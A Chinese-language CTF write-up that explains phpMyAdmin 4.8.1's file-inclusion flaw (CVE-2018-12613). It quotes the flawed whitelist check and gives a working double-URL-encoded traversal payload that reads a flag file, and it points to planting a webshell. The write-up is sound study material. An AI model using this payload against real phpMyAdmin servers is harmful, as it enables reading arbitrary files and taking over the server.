当前位置: 首页 > ops >正文

[GWCTF 2019]我有一个数据库

看上去像是某种编码,又或者是使用了不兼容的解码方式...看答案...

说是将txt转化为md格式就能看到。

抓包、扫描查找其他线索。

 phpmyadmin是数据库管理工具,phpinfo是查看php配置信息。访问一下试试:

访问phpinfo.php显示的是本机php配置,访问phpmyadmin显示的是工具界面,可以看到只有一个空的test数据库。应该又是什么新鲜知识,看答案...

phpmyadmin4.8.1中的真实漏洞CVE-2018-12613:

$target_blacklist = array ('import.php', 'export.php'
);// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])&& is_string($_REQUEST['target'])&& ! preg_match('/^index/', $_REQUEST['target'])&& ! in_array($_REQUEST['target'], $target_blacklist)&& Core::checkPageValidity($_REQUEST['target'])
) {include $_REQUEST['target'];exit;
}
public static function checkPageValidity(&$page, array $whitelist = [])
{if (empty($whitelist)) {$whitelist = self::$goto_whitelist;
//这里传入的whitelist本来就是空的,所以whitelist就是goto_whitelist}if (! isset($page) || !is_string($page)) {return false;}if (in_array($page, $whitelist)) {return true;}$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));//mb_strpos返回第一个查找到的?的位置
//这里先把$page和?拼接在一起,防止$page里面本来就没有?,然后再获取$page中?之前的部分if (in_array($_page, $whitelist)) {return true;}//进行url解码了,以防传进来的数据进行了url编码$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}return false;
}

为什么是截取到第一个问号进行白名单过滤呢?

访问某文件如 /index.php 时可以通过?a=1?b=2来设置查询参数。

截取问号前的部分是为了提取真正的 PHP 脚本名(如 index.php),而忽略其后的查询参数。

public static $goto_whitelist = array('db_datadict.php','db_sql.php','db_events.php','db_export.php',等等等等
);

存在文件包含漏洞。为什么使用的是白名单还有文件包含漏洞呢?原因就在于这里存在url解码后过滤但是包含的是解码前的内容。某个路径可以满足url解码后能通过白名单过滤(利用代码中的字符串截取)但是其实并非白名单中的文件路径(利用目录遍历特性),从而导致任意文件包含漏洞。我猜测修补方案就是保证过滤和包含的文件路径解码统一。

构造playload:

/db_sql.php?../../../../../../flag  该路径能通过白名单过滤,但是包含的是db_sql.php文件(如果存在),将问号后的内容作为查询参数。

将问号进行两次url编码:/db_sql.php%253F../../../../../../flag,首先该参数传到服务端时会自动进行一次url解码,然后过滤时再进行一次url解码,得到/db_sql.php?../../../../../../flag,可以通过白名单过滤。并且include('/db_sql.php%3F../../../../../../flag') (包含解码一次后的路径) 时利用一个目录遍历特性:

 这里的db_sql.php%3F虽然是一个不存在的路径,但是并不影响目录穿越。

/phpmyadmin/?target=db_sql.php%253F../../../../../../../flag

成功拿到flag。

但是这里有个问题,假如flag不是放在根目录中怎么办?

可以通过植入一句话木马,参考下面这篇博客:phpMyAdmin 4.8.1后台文件包含漏洞(CVE-2018-12613)_phpmyadmin4.8.1 漏洞-CSDN博客 

http://www.xdnf.cn/news/15306.html

相关文章:

  • 05.判断日期是工作日还是周末
  • 改进广告投入与销售额预测分析
  • JavaSE-多态
  • 从架构到代码:飞算JavaAI电商订单管理系统技术解构
  • [CH582M入门第六步]软件IIC驱动AHT10
  • 算法题(174):全排列问题
  • 归并排序递归法和非递归法的简单简单介绍
  • 运放压摆率?正弦波怎么输出了三角波?
  • 数据结构 单链表(2)--单链表的实现
  • 打破并发瓶颈:虚拟线程实现详解与传统线程模型的性能对比
  • 二叉树算法详解和C++代码示例
  • C++封装、多态、继承
  • RFCOMM协议详解:串口仿真与TCP/IP协议栈移植技术——面试高频考点与真题解析
  • 在Intel Mac的PyCharm中设置‘add bin folder to the path‘的解决方案
  • 【Scratch】从入门到放弃(六):指令大全-扩展类
  • iOS高级开发工程师面试——关于优化
  • 在AI应用中Prompt撰写重要却难掌握,‘理解模型与行业知识是关键’:提升迫在眉睫
  • 关于数据库的慢查询
  • C/C++数据结构之多维数组
  • MyBatis04-MyBatis小技巧
  • QT 多线程 管理串口
  • Node.js特训专栏-实战进阶:16. RBAC权限模型设计
  • 沃尔玛 卡号查询 滑块 分析
  • 深度学习图像分类数据集—角膜溃疡识别分类
  • TensorFlow深度学习实战(24)——变分自编码器详解与实现
  • spring-ai-alibaba 1.0.0.2 学习(十六)——多模态
  • IP 地址与网络基础全面解析
  • ARC 02 runner scale set chart:对接集群与 Github Action 服务器
  • 在 OCI 生成式 AI 上搭一个「指定地区拉面店 MCP Server」——从 0 到 1 实战记录
  • 基于SpringBoot3集成Kafka集群